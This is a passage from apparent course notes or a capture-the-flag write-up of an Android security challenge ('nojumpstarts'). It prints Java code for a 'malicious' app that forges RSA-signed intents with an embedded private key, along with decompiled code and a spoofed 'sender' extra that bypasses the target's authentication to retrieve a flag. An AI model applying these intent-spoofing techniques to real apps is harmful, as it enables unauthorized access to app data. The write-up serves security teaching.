        if (action != null && action.equals("victim.app.FLAG_ANNOUNCEMENT")) {
            Bundle bundle = intent.getExtras();
            String encryptedFlag = bundle.getString("flag");

            try {
                SecretKey secretKey = EncryptionUtil.generateSecretKey();
             Cipher cipher = EncryptionUtil.initCipher(Cipher.DECRYPT_MODE, secretKey);

                String decryptedFlag = decryptString(encryptedFlag, cipher);
                Log.i(TAG, decryptedFlag);
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
    }

    private String decryptString(String encryptedText, Cipher cipher) throws Exception
{
                byte[]  decryptedBytes  =  cipher.doFinal(Base64.decode(encryptedText,
Base64.DEFAULT));
        return new String(decryptedBytes);
    }
}
```

This way, we can get a safer and more secure approach overall.

16.4.4. Nojumpstarts

16.4.4.1. Challenge description

The developer of the nojumpstars challenge has been asked to fix the source code of the challenge by introducing an additional protection. The developer has achieved his aim (check the C.java class), but unfortunately the protection is not successful.

Complete the challenge by:

- replacing in the template app provided within the zip file all the '*****' symbols with the appropriate ones
- understanding the additional protection introduced by the developer and adding the appropriate bypassing mechanism in the template app

16.4.4.2. Solution

Just for completion sake, the code already found inside the malicious app folder:

```java
package com.mobiotsec.maljumpstarts;

import androidx.appcompat.app.AppCompatActivity;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

import com.mobiotsec.maljumpstarts.Main;
import com.mobiotsec.maljumpstarts.R;

public class MainActivity extends Activity {

    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Log.i(TAG, "onCreate");
    }

    @Override
    protected void onStart() {
        super.onStart();
        String chain = "********";

        Log.i(TAG, "onStart");

        Intent intent1 = new Intent();
                intent1.setComponent(new  ComponentName("com.mobiotsec.nojumpstarts",
"com.mobiotsec.nojumpstarts.C"));
        intent1.putExtra("authmsg", chain);
        try {
            intent1.putExtra("authsign", **************);
        } catch (Exception e) {
            Log.i(TAG, Log.getStackTraceString(e));
        }
        if (intent1.resolveActivity(getPackageManager()) != null) {
            Log.i(TAG, "Sent malicious intent");
            startActivityForResult(intent1, 1);
        }
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        Log.i(TAG, "key: " + requestCode + " " + data.getStringExtra("flag"));
    }
}

package com.mobiotsec.maljumpstarts;
```

```
import android.content.ComponentName;
import android.content.Intent;
import android.util.Base64;
import android.util.Log;

import java.io.BufferedReader;
import java.io.StringReader;
import java.security.KeyFactory;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;

public class Main {

   private static final String PRIVKEY = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA0vKu6oHF6wkA
FRrkF06x7rLCWiQbcWZgt/Yj+ONbPHeHIImSzUkNkJC\nMMlwIv/l/Oz1gN6Pn6KZQxiASSqR5uS7v92vYXGpusLjvfLpFzCEBY
eELD3jre6U0ng/
eSlhP9FKrt109xdgw96ff\nVYK0o9o9IJm44RZFYvTjLIBGYI7uwaAgJK+rFQIDAQABAoIBACD/
rbUpj9hwlCKH\nuCU/ctHQyuH+hFAe2kmzrtPyoADQ0lYg6RN2AO8syJBjpHnOVsgyXmMbf2KWf2z1\n2CFXwi0YEXkaYuCfoi9
gisYtWC1OdAZ0s/Q/rdpf9EVCcmKDlDxc\n8zoRA8gmF4EwJrVwpqvdSqmwTQPGjrkFfv0fxJk5iYiId+FONKtcXFvmZ7i0o9bB
9oCs29R/ZUkW13H9zGftKX0pp64qgxy/yGoe/lQunzYete5l5X1t\ne/wnORECgYEA9ktAziObm/7uDHl3hpi6rj7SKE7EvxB2m
0FByN2O8Qnc5H8yFfTVLR\nMYwS4EqvDcsG9J7YywlRlQ+z1Fy18VEgGcgWWoiKNAPrKcTMMoO7/dsCgYEA20LX\nPIxtS6J0s1
pCiEeYy9mrr8N3JAxK0f4hYdITlmFtXvQtyZc8CgYEAjOnRUh+dUEsy94AnmqKX\nbEoVA2rNtmM8+Lz9PwUbSzgG+kHytrbOKw
sZYBjkbxgJrHofE6sHvam\nxzjTBLHPdwkIyg3gcOme7DEYdg6gRoPzPBjVGFi0409DE18ZFElgriJ9Zo+GNWOM\n9rcfZIkZiE
Z55Xmpmr//mK58m\n-----END RSA PRIVATE KEY-----\n";
   private static final String PUBKEY = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AM
FRrkF06x7rLCWiQ\nbcWZgt/Yj+ONbPHeHIImSzUkNkJCMMlwIv/l/Oz1gN6Pn6KZQxiASSqR5uS7v92v\nYXGpusLjvfLpFzCE
eELD3jr\ne6U0ng/
eSlhP9FKrt109xdgw96ffVYK0o9o9IJm44RZFYvTjLIBGYI7uwaAgJK+r\nFQIDAQAB\n-----END   PUBLIC
KEY-----\n";

    Main() {
    }

    public static PKCS8EncodedKeySpec getPrivateKeySpec() throws Exception {
        StringBuilder pkcs8Lines = new StringBuilder();
        BufferedReader rdr = new BufferedReader(new StringReader(PRIVKEY));
        while (true) {
            String readLine = rdr.readLine();
            String line = readLine;
            if (readLine == null) {
                                                                                return
new  PKCS8EncodedKeySpec(Base64.decode(pkcs8Lines.toString().replace("-----BEGIN  RSA
PRIVATE KEY-----", "").replace("-----END RSA PRIVATE KEY-----", "").replaceAll("\\s+",
""), 0));
            }
            pkcs8Lines.append(line);
        }
    }

    public static X509EncodedKeySpec getPublicKeySpec() throws Exception {
        StringBuilder pkcs8Lines = new StringBuilder();
        BufferedReader rdr = new BufferedReader(new StringReader(PUBKEY));
        while (true) {
```

```
            String readLine = rdr.readLine();
            String line = readLine;
            if (readLine == null) {
                                                                                return
new X509EncodedKeySpec(Base64.decode(pkcs8Lines.toString().replace("-----BEGIN PUBLIC
KEY-----", "").replace("-----END PUBLIC KEY-----", "").replaceAll("\\s+", ""), 0));
            }
            pkcs8Lines.append(line);
        }
    }

    public static PrivateKey getPrivateKey() throws Exception {
        return KeyFactory.getInstance("RSA").generatePrivate(getPrivateKeySpec());
    }

    public static PublicKey getPublicKey() throws Exception {
        return KeyFactory.getInstance("RSA").generatePublic(getPublicKeySpec());
    }

    public static byte[] sign(String msg) throws Exception {
        byte[] msgbytes = msg.getBytes();
        PrivateKey privKey = getPrivateKey();
        Signature s = Signature.getInstance("SHA256withRSA");
        s.initSign(privKey);
        s.update(msgbytes);
        return s.sign();
    }

    public static boolean verify(String msg, byte[] signature) {
        try {
            byte[] msgbytes = msg.getBytes();
            PublicKey pubKey = getPublicKey();
            Signature s = Signature.getInstance("SHA256withRSA");
            s.initVerify(pubKey);
            s.update(msgbytes);
            return s.verify(signature);
        } catch (Exception e) {
         Log.e("MOBIOTSEC", "exception when verifying: " + Log.getStackTraceString(e));
            return false;
        }
    }

     public static Intent buildIntent(String src, String dst, String chain) throws
Exception {
        String msg;
        if (chain == null) {
            try {
                msg = src + "-to-" + dst;
            } catch (Exception e) {
                return null;
            }
        } else {
            msg = chain + "/" + src + "-to-" + dst;
        }
        byte[] sign = sign(msg);
        Intent i = new Intent();
```

```
                    i.setComponent(new   ComponentName("com.mobiotsec.nojumpstarts",
"com.mobiotsec.nojumpstarts." + dst));
        i.putExtra("authmsg", msg);
        i.putExtra("authsign", sign);
        return i;
    }
}
```

With decrypting from JADX, we get told to look for *C.java*:

```
package com.mobiotsec.nojumpstarts;

import android.content.Intent;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

/* loaded from: classes3.dex */
public class C extends AppCompatActivity {
    private static String expectedMsg = "Main-to-A/A-to-B/B-to-C";

    private void reply(String flag) {
        Intent resIntent = new Intent();
        resIntent.putExtra("flag", flag);
        setResult(-1, resIntent);
        finish();
    }

                    @Override      //      androidx.fragment.app.FragmentActivity,
androidx.activity.ComponentActivity,             androidx.core.app.ComponentActivity,
android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Intent data = getIntent();
        String msg = data.getStringExtra("authmsg");
        String sender = data.getStringExtra("sender");
        byte[] sign = data.getByteArrayExtra("authsign");
       if (!sender.equals("com.mobiotsec.nojumpstarts") || msg == null || sign == null
|| !msg.equals(expectedMsg) || !Main.verify(msg, sign)) {
            reply("C: broken auth");
        } else {
            reply(MainActivity.flag);
        }
    }
}
```

Basically, this challenge involved following a chain of trust of classes to sign the message, but here there is a call to check if the action corresponds. One can simply put the call inside *buildIntent* in *Main.java* of template app as follows:

```
public static Intent buildIntent(String src, String dst, String chain) throws Exception
{
    String msg;
    if (chain == null) {
        msg = src + "-to-" + dst;
    } else {
        msg = chain + "/" + src + "-to-" + dst;
```

```
    }
    byte[] sign = sign(msg);
    Intent i = new Intent();
                    i.setComponent(new     ComponentName("com.mobiotsec.nojumpstarts",
"com.mobiotsec.nojumpstarts." + dst));
    i.putExtra("authmsg", msg);
    i.putExtra("authsign", sign);
   i.putExtra("sender", "com.mobiotsec.nojumpstarts"); // This is the edit we are doing
here
    return i;
}
```

Looking inside the decompiled classes, we basically have to rebuild the entire chain of trust, which was similar to the previous challenge: A/B/C.

Also, the entire chain is signed and verify inside C, so we simply do:

```
String chain = "Main-to-A/A-to-B/B-to-C";

// Use the buildIntent method from Main to create the intent
Intent data = null;
try {
    data = Main.buildIntent("Main", "C", null);
} catch (Exception e) {
    throw new RuntimeException(e);
}

Log.i(TAG, "Signed the message and created intent");

if (Objects.requireNonNull(data).resolveActivity(getPackageManager()) != null) {
    data.putExtra("authmsg", chain);

    try {
        data.putExtra("authsign", Main.sign(chain));
    } catch (Exception e) {
        Log.e(TAG, Log.getStackTraceString(e));
    }

    Log.i(TAG, "Sent intent successfully");
    startActivityForResult(data, 1);
}
```